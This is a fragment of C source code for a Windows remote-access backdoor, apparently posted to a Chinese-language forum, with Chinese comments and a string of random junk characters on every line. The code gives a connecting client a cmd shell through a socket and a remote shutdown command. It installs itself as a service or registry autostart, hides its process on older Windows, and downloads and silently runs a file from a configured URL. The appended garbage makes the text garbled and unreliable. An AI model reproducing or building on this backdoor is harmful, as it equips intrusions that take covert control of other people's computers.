    } }Z? [Ut  
  // 关机 <({eOh5 N  
  case 'd': { +2 o|#`)i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); . _t,OX$  
    if(Boot(SHUTDOWN)) Odtck9L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d lLk4a+  
    else { 1V3J:W#;  
    closesocket(wsh); }3_G|  
    ExitThread(0); <T/L.>p4  
    } Kcdd=2 [T  
    break; >T^v4A  
    } r8?Lr-;  
  // 获取shell : 8<^rP  
  case 's': { '^(v8lCu  
    CmdShell(wsh); =pOY+S|  
    closesocket(wsh); *K.7Zf0  
    ExitThread(0); [f(^vlK  
    break; ~wg^>!E  
  } P]x+Q  
  // 退出 % P)}(e6y  
  case 'x': { w&cyGd D5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uBkn y;  
    CloseIt(wsh); I3$vw7}5Y  
    break; WA\f`SRF  
    } +i!M[  
  // 离开 FEmlC,%  
  case 'q': { gj;G:;1m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uWj-tzu  
    closesocket(wsh); 76r s)J[*w  
    WSACleanup(); F_ Cz  
    exit(1); ~MQf($]  
    break; Q%1;{5   
        } T2;  9  
  } q.F1Jj  
  } B "zg85 e  
[eP]8G\ W  
  // 提示信息 #7T={mh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J5IJy3d  
} u.Yb#?  
  } h5keYBA  
L/LN X{|  
  return; ^!Jm/-  
} IE f^.Z  
HKw:fGt/o^  
// shell模块句柄 R_&z2I  
int CmdShell(SOCKET sock) 2A ,36,  
{ oXkhj,{y5  
STARTUPINFO si; 2U{RA' s  
ZeroMemory(&si,sizeof(si)); KptLeb:Om  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /k"P4\P`+Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ADz|Y~V!  
PROCESS_INFORMATION ProcessInfo; +[[gU;U"v  
char cmdline[]="cmd"; hzo,.hS's  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :/l   
  return 0; MA6%g} o  
} obolDh a  
E_rC"_Zte  
// 自身启动模式 C8q-gP[  
int StartFromService(void) :+!b8[?Z  
{ ;rL$z;}8  
typedef struct L-$g& -  
{ LXV6Ew5E  
  DWORD ExitStatus; =ApT#*D)o  
  DWORD PebBaseAddress; *60)Vo.=  
  DWORD AffinityMask;  y-#tU>P  
  DWORD BasePriority; gNQJ:!  
  ULONG UniqueProcessId; }!Lr!eALr  
  ULONG InheritedFromUniqueProcessId; h!~yYNQ"  
}   PROCESS_BASIC_INFORMATION; !:{_<C"D  
ksp':2d}  
PROCNTQSIP NtQueryInformationProcess; 0pOha(,~  
`VN<6o(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b;l%1x9r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1*jm9])#  
iL1so+di  
  HANDLE             hProcess; ,[#f}|s_  
  PROCESS_BASIC_INFORMATION pbi; s%|J(0  
`BD`pa7.%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7S Zs/wWh%  
  if(NULL == hInst ) return 0; z\ pT+9&  
Y%@'a~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \YS\* 'F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /[5up  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,u2<()`8D  
^O m]B;  
  if (!NtQueryInformationProcess) return 0; mJ7kOQ-.$  
U$ bM:d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z4' v  
  if(!hProcess) return 0; .X1niguXH  
9~I WGj?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h%S#+t(Bf  
8 K!a:{  
  CloseHandle(hProcess); Qpq0j^\  
`^vD4qD|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @oNrR$7  
if(hProcess==NULL) return 0; [y>.)BU  
h+@t8Q;gGw  
HMODULE hMod; hd-ds~ve  
char procName[255]; =`H( `2  
unsigned long cbNeeded; OQvJdjST  
xd<68%Cn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5H5Kt9DoW  
b}*hodzF  
  CloseHandle(hProcess); _P:P5H8  
r_m&Jl@4  
if(strstr(procName,"services")) return 1; // 以服务启动 mgWtjV 8  
l1 S1CS  
  return 0; // 注册表启动 NQ!F`  
} .O^|MhBJu  
/o2eKx  
// 主模块 w?q"%F;/  
int StartWxhshell(LPSTR lpCmdLine) w5Xdq_e3  
{ ):@B1 yR  
  SOCKET wsl; { L5m`-x  
BOOL val=TRUE; {w++)N2sh  
  int port=0; T9A5L"-6T  
  struct sockaddr_in door; 9'M_tMm5  
d?n~9_9e  
  if(wscfg.ws_autoins) Install(); L  z  
Fz% n!d  
port=atoi(lpCmdLine); XEI]T~  
( 9l|^w["  
if(port<=0) port=wscfg.ws_port; K]l) z* I  
plq\D.C  
  WSADATA data; 14R))Dz"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .^23qCs  
K0]Wb=v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M*N8p]3Cq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )UJMmw\  
  door.sin_family = AF_INET; D[mYrWHpn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~cjvo?)&e;  
  door.sin_port = htons(port); DI\sq8J^  
Fwr,e;Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P$bo8*  
closesocket(wsl); EbQ}w"{  
return 1; *bx cq  
} .z"[z^/uF  
T"jl;,gr]J  
  if(listen(wsl,2) == INVALID_SOCKET) { /<@tbZJ*8  
closesocket(wsl); !IS ,[  
return 1; c LJCLKJ  
} 'zaB5d~l  
  Wxhshell(wsl); ;b^@o,=  
  WSACleanup(); e_I 8Jj4  
 e(^O8  
return 0; D<`X B*  
yT4|eHl  
} VWi-)  
|8B[yr.b  
// 以NT服务方式启动 3]i1M%'i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C6`8dn   
{ RUEU n  
DWORD   status = 0; `6/7},"9t  
  DWORD   specificError = 0xfffffff; fCKcv |  
*uIHa"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rZEu@63  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xM:dFS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .1@5*xQ5O  
  serviceStatus.dwWin32ExitCode     = 0; KR*/yeG!E  
  serviceStatus.dwServiceSpecificExitCode = 0; GCoqKE  
  serviceStatus.dwCheckPoint       = 0; ])`F$S  
  serviceStatus.dwWaitHint       = 0; H4N==o  
= U5)m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~BC5no  
  if (hServiceStatusHandle==0) return; c1`o3gb  
TsQMwV_h  
status = GetLastError(); <  5ow81  
  if (status!=NO_ERROR) n;U|7it7  
{ 3Wiu`A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K"#}R<k8:A  
    serviceStatus.dwCheckPoint       = 0; Q7C'O @  
    serviceStatus.dwWaitHint       = 0; &Wba2fD  
    serviceStatus.dwWin32ExitCode     = status; D|xSO~M5  
    serviceStatus.dwServiceSpecificExitCode = specificError; &zZSWNW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^%L$$V nG  
    return; 3eB2= _V`  
  } (8I0%n}.Zo  
<1y%ch;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UX?_IgJh<"  
  serviceStatus.dwCheckPoint       = 0; +#W5Qb}VR  
  serviceStatus.dwWaitHint       = 0; mUjA9[@   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  oDC3AK&  
} VbN]z:  
ZA!vxQ?P,  
// 处理NT服务事件,比如:启动、停止 Q~9:}_@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JwO+Dd  
{ m*'#`vIbb  
switch(fdwControl) %63<Iz"  
{ [\!S-:  
case SERVICE_CONTROL_STOP: {E9Y)Z9  
  serviceStatus.dwWin32ExitCode = 0; |89`O^   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u!Z&c7kPI  
  serviceStatus.dwCheckPoint   = 0; ~&pk</Dl  
  serviceStatus.dwWaitHint     = 0; GcKJpI\sB  
  { eaI&DP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *}?^)z7w  
  } MV/JZ;55  
  return; csC3Wm{v  
case SERVICE_CONTROL_PAUSE: Z5+0?X0i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ISl'g'o  
  break; a^2?W  
case SERVICE_CONTROL_CONTINUE: \^+sgg{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Rzb] mM  
  break; S4Rv6{r:  
case SERVICE_CONTROL_INTERROGATE: (]ORB0kl  
  break; eq"~by[Uq  
}; {PfE7KH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wtY#8 '^$&  
} lU@ni(69d  
d.{RZq2cp  
// 标准应用程序主函数 1:,aFp>qr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wj/r)rv E  
{ tDi<n}  
?Z;knX\?J  
// 获取操作系统版本 w,\Ua&>4  
OsIsNt=GetOsVer(); "^u|vCqw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s~GO-v7  
ON=xn|b4  
  // 从命令行安装 Dr;@)  
  if(strpbrk(lpCmdLine,"iI")) Install(); w}'E]y2.  
xQN](OKG  
  // 下载执行文件 |h.he_B+7  
if(wscfg.ws_downexe) { bNqjjg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Abj`0\  
  WinExec(wscfg.ws_filenam,SW_HIDE); Bdq/Ohw|!  
} 7_JK2  
)q#b^( v  
if(!OsIsNt) { "xh]>_;&'  
// 如果时win9x,隐藏进程并且设置为注册表启动 W nVX)o  
HideProc(); )]/!:I4e  
StartWxhshell(lpCmdLine); K$rH{dUM  
} [E=t{&t  
else #Z fg  
  if(StartFromService()) tnp]wZ  
  // 以服务方式启动 rtY0?  
  StartServiceCtrlDispatcher(DispatchTable); n&@\[,B  
else Qd@`jwjS  
  // 普通方式启动 L%<1cE))  
  StartWxhshell(lpCmdLine); (ttO O45  
Chjth"  
return 0; ;X\!*Loe  
}
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只看该作者 1 发表于: 2006-08-21
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